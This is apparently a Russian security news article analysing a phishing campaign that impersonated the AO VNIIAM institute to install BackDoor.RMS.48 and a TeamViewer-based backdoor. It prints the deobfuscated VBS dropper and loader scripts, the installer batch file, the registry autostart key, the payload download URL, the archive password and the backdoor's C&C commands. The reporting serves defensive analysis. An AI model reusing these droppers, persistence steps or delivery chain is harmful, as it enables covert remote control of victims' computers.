Новый вариант Stuxnet использовался для целевой атаки на российскую компанию

Новый вариант Stuxnet использовался для целевой атаки на российскую компанию

Злоумышленники рассылают вредоносные письма от имени АО "ВНИИАМ".

Портал SecurityLab получил от осведомленного источника эксклюзивную информацию об атаках с использованием новой разновидности трояна Stuxnet - BackDoor.RMS.48. Вредонос распространяется с помощью фишинговых писем. По данным источника, одно из писем выглядит следующим образом:

gra1.png

В качестве отправителя значится некое акционерное общество "ВНииАтом". Указанный в письме адрес в Москве практически соответствует адресу реально существующему Всероссийскому научно-исследовательскому и проектно-конструкторскому институту атомного и энергетического машиностроения (АО "ВНИИАМ"). Не соответствуют лишь номер дома и телефонный номер.

АО "ВНИИАМ" принадлежат два домена: внииам.рф и vdvniiam.ru. Использованный в письме домен был зарегистрирован 11 июля 2015 года. В настоящее время сайт vniiatom.ru недоступен, однако, по словам источника, еще несколько дней назад он существовал и выглядел точно так же, как оригинальный внииам.рф.

Ссылка в фишинговом письме ведет на файл Izveshhenie_7889-08-15.xls. После включения макросов в папку temp сохраняется js файл (JS.DownLoader.432), который пытается скачать файл canterus.esy.es/kartinka.bmp, представляющий собой архив с следующим содержимым:

avicap32.dll
install.exe
SkypeUpdateSvc.exe
TeamViewer_Desktop.exe
TeamViewer_Resource_en.dll
tv_w32.dll
tv_w32.exe
tv_x64.dll
tv_x64.exe
tvr.cfg
vpn.exe

Все, кроме файлов avicap32.dll, install.exe tvr.cfg и vpn.exe, подписано валидной подписью TeamViewer. По данным источника, avicap32.dll – это BackDoor.TeamViewer.43, tvr.cfg, vpn.exe - что-то из его обвязки, а install.exe - RAR-SFX архив следующего содержания:

apiwinmscore86.vbe
core.exe
windows.zip

Как сообщил источник, windows.zip – это ZIP-архив с паролем, который содержит модули BackDoor.RMS.48 и различные файлы для его установки/запуска/настройки, apiwinmscore86.vbe – закодированный VBS скрипт, который распаковывает архив и запускает бэкдор, а core.exe - 7-zip (standalone).

После снятия двух слоев обфускации apiwinmscore86.vbe выглядит так:

Set oShell = CreateObject("WScript.Shell")

dim sdhguisgi634363osdgfsafa
dim asfafsafasfasfaf
set asfafsafasfa=CreateObject("Scripting.FileSystemObject")
Set environmentVarstxt = WScript.CreateObject("WScript.Shell").Environment("Process")
tempFolder = environmentVarstxt("TEMP")
dim dsu54353hguisgisfasaf
dim dig3us54353hugijsfasfa
dim sdiu6436hsugsiasfaf
dim sdgu4636isughisgasfaf
dim sduigsgsa4636sfafaf
oShell.run "core.exe -y x windows.zip -pfisdghiusdjujndfmioghmkiopwertfqwef4235 -o%temp%", 0
WScript.Sleep (3000)
oShell.run "%temp%\update.exe", 0
Set oShell = Nothing
dim fasfafa346363sfasfsafsaf

Как сообщает источник, update.exe представляет собой RAR-SFX архив, который содержит файлы от RMS 6.3.0.5, REG-файл с настройками и другие файлы бэкдора.

Logs [dir]
system [dir]
system\core.sys
system\kernel128.vbe
system\set.bat
system\set.vbs
system\system.exe
system\system.vbe
system\winapi.exe
Russian.lg
rutserv.exe
sys32.sys
sys64.sys
vp8encoder.dll

При этом vp8encoder.dll - оригинальная dll от RMS с валидной подписью, rutserv.exe - исправленная версия RMS 6.3.0.5, sys32.sys, sys64.sys - REG-файл с настройками RMS, содержимое папки system - непосредственно компоненты бэкдора, а system\core.sys - пустой.

После декодирования kernel128.vbe имеет вид:

Set oShell = CreateObject("WScript.Shell")
oShell.run "C:\\kernel\system\system.exe", 0

И system.vbe:

Set oShell = CreateObject("WScript.Shell")
oShell.run "C:\\kernel\system\winapi.exe", 0
oShell.run "C:\\kernel\rutserv.exe", 0

Тем не менее, какие-либо иконки RMS отсутствуют. По запросу RMS 6.3.0.5 Google выдает ссылки преимущественно на билдер RMS, после которого RMS будет работать абсолютно скрытно.

Файл winapi.exe перебирает 30 процессов через Process32First/Process32Next в поисках "rutserv.exe" с целью выставить ему дескриптор безопасности SE_KERNEL_OBJECT, а также ищет окно "RMS Agent" и скрывает его.

C:\Users\ShadowFiend\Desktop\CODE\C++\WinAPI - LIBS\Release\WINAPI_LIBS.pdb

Задачей system.exe этого является сокрытие файлов бэкдора и установка его в автозагрузку.
Файлы бэкдора размещаются в каталоге "C:\kernel", которому вредонос выставляет системный и скрытый атрибуты, после чего копирует свои файлы:

kernel128.vbe Expand
source
system.vbe Expand
source
cmd.exe /c "copy C:\\kernel\\system\\core.sys C:\\kernel\\kernelda.sys"
cmd.exe /c "rename C:\\kernel\\kernelda.sys core.sys"

Далее бэкдор регистрирует VBE скрипт в автозагрузку через реестр:

HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 'KernelSystem' =
'C:\\kernel\\system\\system.vbe'

И запускает VBS скрипт, который через батник подготовит RMS к использованию:

cmd.exe /c start C:\\kernel\\system\\set.vbs
VBS:
Set oShell = WScript.CreateObject ("WSCript.shell")
dim twettwerter
dim adsdfgsgsgds
dim ysdggsgdsgsgdsg
oShell.run "C:\\kernel\\system\\set.bat", 0
dim jdsgsgsgsgs
dim iuasggdsgdsgsd

Set oShell = Nothing
dim assdgsgsgdsg
dim asfasfaf
BAT (Trojan.Starter.5023):
taskkill /f /im rfusclient.exe
taskkill /f /im rutserv.exe
taskkill /f /im rfusclient.exe
reg delete \"HKEY_CURRENT_USER\\Software\\TektonIT\" /f
reg import C:\\kernel\\111.reg
reg import C:\\kernel\\111.reg
start C:\\kernel\\system\\system.vbe
del C:\\kernel\\system\\system.exe
del C:\\kernel\\system\\msvcp110.dll
del C:\\kernel\\system\\msvcr110.dll
del C:\\kernel\\system\\zlib1.dll
del C:\\kernel\\sys64.sys
del C:\\kernel\\111.reg
del C:\\kernel\\sys32.sys

Собственно элементами BackDoor.TeamViewer.43 являются avicap32.dll, tvr.cfg и vpn.exe. Все остальные файлы – это составляющие TeamViewer, которые снабжены валидной подписью. Бэкдор собирает информацию о зараженном компьютере и отправляет ее на управляющий сервер. Вредонос может выполнять ряд команд, поступивших от C&C-сервера. Полученные в команде параметры бэкдор сохраняет в конфигурационном файле.

Если в конфигурационном файле установлен параметр "vpndel", бэкдор выполняет команду: "tv_w32.exe--action remove --id TEAMVIEWERVPN" (на x64 вызывается процесс tv_w64.exe), и удаляет себя из автозагрузки, если заданы параметры автозагрузки. runexe запускает файл и, если указаны аргументы, передает их в запускаемое приложение. deldll удаляет одну из своих dll, в аргументе указывается имя dll (<name>): backdoors_dir\\tvrp\\<name>.tvrp.
rundll скачивает с сервера DLL, который сохраняется в "backdoors_dir\\tvrp\\<name>.tvrp".

DLL зашифрована и сжата. Алгоритм шифрования такой же, как и у конфигурационного файла. Ключ для расшифровки - "kernel32.dll". Для распаковки вызывается функция RtlDecompressBuffer с флагом COMPRESSION_FORMAT_LZNT1. Далее распакованный образ DLL загружается в память бэкдора самодельным загрузчиком.

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться